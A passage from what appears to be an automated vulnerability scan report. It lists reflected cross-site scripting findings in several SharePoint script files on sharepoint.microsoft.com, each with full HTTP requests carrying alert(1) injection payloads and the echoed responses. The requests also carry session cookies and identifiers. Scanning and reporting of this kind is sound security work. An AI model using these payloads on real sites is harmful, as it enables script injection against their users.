Cache-Control: private
Content-Length: 351817
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:55 GMT
Last-Modified: Thu, 28 Jan 2010 07:43:20 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:55 GMT

var waxMagic=function(){
if(typeof(IEnumerator)=='undefined')IEnumerator=undefined;if(typeof(IEnumerable)=='undefined')IEnumerable=undefined;if(typeof(g_cuiXMLDOMDocument)=='undefined')g_cuiXMLDOMDoc
...[SNIP]...
Loaded();typeof NotifyScriptLoadedAndExecuteWaitingJobs!="undefined"&&NotifyScriptLoadedAndExecuteWaitingJobs("CUI.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/cui.js?rev=wvoVpqlQb30nGo4DjDk8Kg%3D%3Ddce79'-alert(1)-'900baf67bb8',waxMagic))waxMagic();

1.15. http://sharepoint.microsoft.com/_layouts/inplview.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/inplview.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fc6ce'-alert(1)-'b2c9a69c116 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/inplview.js?rev=AohvE9XEf%2FI78tuaw1TGAA%3D%3D&fc6ce'-alert(1)-'b2c9a69c116=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 39256
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:07 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:07 GMT

var waxMagic=function(){
if(typeof(focusAcc)=='undefined')focusAcc=undefined;if(typeof(inplview)=='undefined')inplview=undefined;
ULSiIp=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoin
...[SNIP]...
s&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("inplview.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/inplview.js?rev=AohvE9XEf%2FI78tuaw1TGAA%3D%3D&fc6ce'-alert(1)-'b2c9a69c116=1',waxMagic))waxMagic();

1.16. http://sharepoint.microsoft.com/_layouts/inplview.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/inplview.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e5f7f'-alert(1)-'6f836fe0ca5 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/inplview.js?rev=AohvE9XEf%2FI78tuaw1TGAA%3D%3De5f7f'-alert(1)-'6f836fe0ca5 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 39253
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:01 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:00 GMT

var waxMagic=function(){
if(typeof(focusAcc)=='undefined')focusAcc=undefined;if(typeof(inplview)=='undefined')inplview=undefined;
ULSiIp=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoin
...[SNIP]...
ys&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("inplview.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/inplview.js?rev=AohvE9XEf%2FI78tuaw1TGAA%3D%3De5f7f'-alert(1)-'6f836fe0ca5',waxMagic))waxMagic();

1.17. http://sharepoint.microsoft.com/_layouts/mediaplayer.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/mediaplayer.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bef49'-alert(1)-'7d60c7b5c32 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/mediaplayer.js?rev=Q6vfD9BNL%2B9PvwgrVEcc%2FA%3D%3D&bef49'-alert(1)-'7d60c7b5c32=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 14266
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:58 GMT
Last-Modified: Sun, 28 Feb 2010 08:04:20 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:58 GMT

var waxMagic=function(){
ULSHf2=function(){var o=new Object;o.ULSTeamName="CMS";o.ULSFileName="MediaPlayer.js";return o;};

if(!window.Silverlight){window.Silverlight={};}
Silverlight._silverlightCou
...[SNIP]...
ptLoadedAndExecuteWaitingJobs)!="undefined")
{NotifyScriptLoadedAndExecuteWaitingJobs("mediaplayer.js");};
};
if(!window.WAX_RI||WAX_RI('/_layouts/mediaplayer.js?rev=Q6vfD9BNL%2B9PvwgrVEcc%2FA%3D%3D&bef49'-alert(1)-'7d60c7b5c32=1',waxMagic))waxMagic();

1.18. http://sharepoint.microsoft.com/_layouts/mediaplayer.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/mediaplayer.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2de8'-alert(1)-'5ca5540d3fe was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/mediaplayer.js?rev=Q6vfD9BNL%2B9PvwgrVEcc%2FA%3D%3Db2de8'-alert(1)-'5ca5540d3fe HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 14263
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:53 GMT
Last-Modified: Sun, 28 Feb 2010 08:04:20 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:53 GMT

var waxMagic=function(){
ULSHf2=function(){var o=new Object;o.ULSTeamName="CMS";o.ULSFileName="MediaPlayer.js";return o;};

if(!window.Silverlight){window.Silverlight={};}
Silverlight._silverlightCou
...[SNIP]...
iptLoadedAndExecuteWaitingJobs)!="undefined")
{NotifyScriptLoadedAndExecuteWaitingJobs("mediaplayer.js");};
};
if(!window.WAX_RI||WAX_RI('/_layouts/mediaplayer.js?rev=Q6vfD9BNL%2B9PvwgrVEcc%2FA%3D%3Db2de8'-alert(1)-'5ca5540d3fe',waxMagic))waxMagic();

1.19. http://sharepoint.microsoft.com/_layouts/sp.core.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.core.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 572d2'-alert(1)-'028b9958eea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.core.js?rev=7ByNlH%2BvcgRJg%2BRCctdC0w%3D%3D&572d2'-alert(1)-'028b9958eea=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12686
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:56 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:55 GMT

var waxMagic=function(){
if(typeof(IEnumerator)=='undefined')IEnumerator=undefined;if(typeof(IEnumerable)=='undefined')IEnumerable=undefined;if(typeof(IDisposable)=='undefined')IDisposable=undefined;
...[SNIP]...
&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.core.js");
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.core.js?rev=7ByNlH%2BvcgRJg%2BRCctdC0w%3D%3D&572d2'-alert(1)-'028b9958eea=1',waxMagic))waxMagic();

1.20. http://sharepoint.microsoft.com/_layouts/sp.core.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.core.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c2f9'-alert(1)-'dfd195e3d79 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.core.js?rev=7ByNlH%2BvcgRJg%2BRCctdC0w%3D%3D5c2f9'-alert(1)-'dfd195e3d79 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12683
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:51 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:51 GMT

var waxMagic=function(){
if(typeof(IEnumerator)=='undefined')IEnumerator=undefined;if(typeof(IEnumerable)=='undefined')IEnumerable=undefined;if(typeof(IDisposable)=='undefined')IDisposable=undefined;
...[SNIP]...
s&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.core.js");
};
if(!window.WAX_RI||WAX_RI('/_layouts/sp.core.js?rev=7ByNlH%2BvcgRJg%2BRCctdC0w%3D%3D5c2f9'-alert(1)-'dfd195e3d79',waxMagic))waxMagic();

1.21. http://sharepoint.microsoft.com/_layouts/sp.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/sp.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29636'-alert(1)-'e9c588154e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/sp.js?rev=JmFQMEfR9bYx6G6TrWzSLw%3D%3D&29636'-alert(1)-'e9c588154e=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293176160:ss=1312293130321; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 389536
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:08 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:07 GMT

var waxMagic=function(){
ULSdih=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="SP.js";return o;};

Type.registerNamespace("SP");SP.PermissionKind=function(
...[SNIP]...
ndefined"&&Sys&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("sp.js");
};
